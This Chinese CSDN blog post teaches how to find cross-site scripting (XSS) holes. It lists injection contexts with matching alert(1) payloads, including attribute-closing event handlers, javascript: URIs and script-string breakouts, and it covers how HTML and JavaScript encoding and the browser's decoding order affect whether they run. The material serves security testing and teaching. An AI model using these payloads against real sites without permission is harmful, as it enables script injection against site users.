XSS(三)挖掘思路

版权声明:本文为原创文章,未经作者允许不得任何个人、组织、机构以任何形式与名义进行转载 https://blog.csdn.net/qq_23217779/article/details/88540866

HTML标签之间

<div id="body">
[输出点]
</div>
payload:<script>alert(1)</script>

HTML标签之内

<input type="text" value=" [输出点] ">
payload:
1." onmouseover=alert(1) (闭合属性)
2." ><script>alert(1)</script> (闭合属性与标签)

当script标签没有被过滤的时候可以使用payload2,当script标签被过滤的时候可以使用payload1
假设有如下情况:

<input type="hidden" value=" [输出点] ">

这个时候
无法使用闭合属性的payload,因为hidden标签会先被浏览器识别
当hidden标签在输出点之后时

<input value=" [输出点] " type="hidden">

可以使用闭合属性的标签1 " onmouseover=alert(1) type="text
这样不仅把payload写入了页面,同时提前将type类型定义为text,这样后面的hidden就失效了


输出在src/href/action等属性内

<a href=" [输出点] ">click me</a>

payload:

javascript:alert(1) //伪协议浏览器都会支持
或者
data:text/html;base64;PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
(现版本的ie,chrome,firefox均不支持)

输出在on*事件内
on*时间是可以执行javascript脚本的,根据场景弄清楚不同的闭合策略即可

<a href="#" onclick="eval(‘[输出点]’)>click me</a>
payload:alert(1)

在Javascript代码中

<script>a=" [输出点]"</script>
payload:
</script><script>alert(1)
";alert(1)

HTML与Javascript编码

例:

A:
<input type="button" id="exec_btn" value="exec" onclick="document.write(htmlEncode('<img src=@ alert(1) />'))"/>

B:
<input type="button" id="exec_btn" value="exec" onclick="document.write('&lt;img src=@ alert(1) /&gt;')"/>

A与B两个例子,谁会执行alert(1)?

javascript出现在html标签中,javascript可以进行html编码
1.进制编码:&#xH; &#D;
2.HTML实体编码
在javascript执行前,浏览器会进行html转码,所以在A例中,当浏览器执行过一次htmlencode之后,会执行script脚本,但是此时尖括号已经被转成了html的实体编码,所以A不会执行alert(1)
当输入内容出现在javascript中的时候,需要遵循javascript编码规则

1.unicode:\uH
2.普通十六进制:\xH
3.转义:在特殊字符前加\转义(\' \" \<)

javascript在执行前会自动解码


具备htmlencode功能的标签

<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>

浏览器解码顺序

HTML解码 -> URL解码 -> js(unicode)解码

猜你喜欢

转载自blog.csdn.net/qq_23217779/article/details/88540866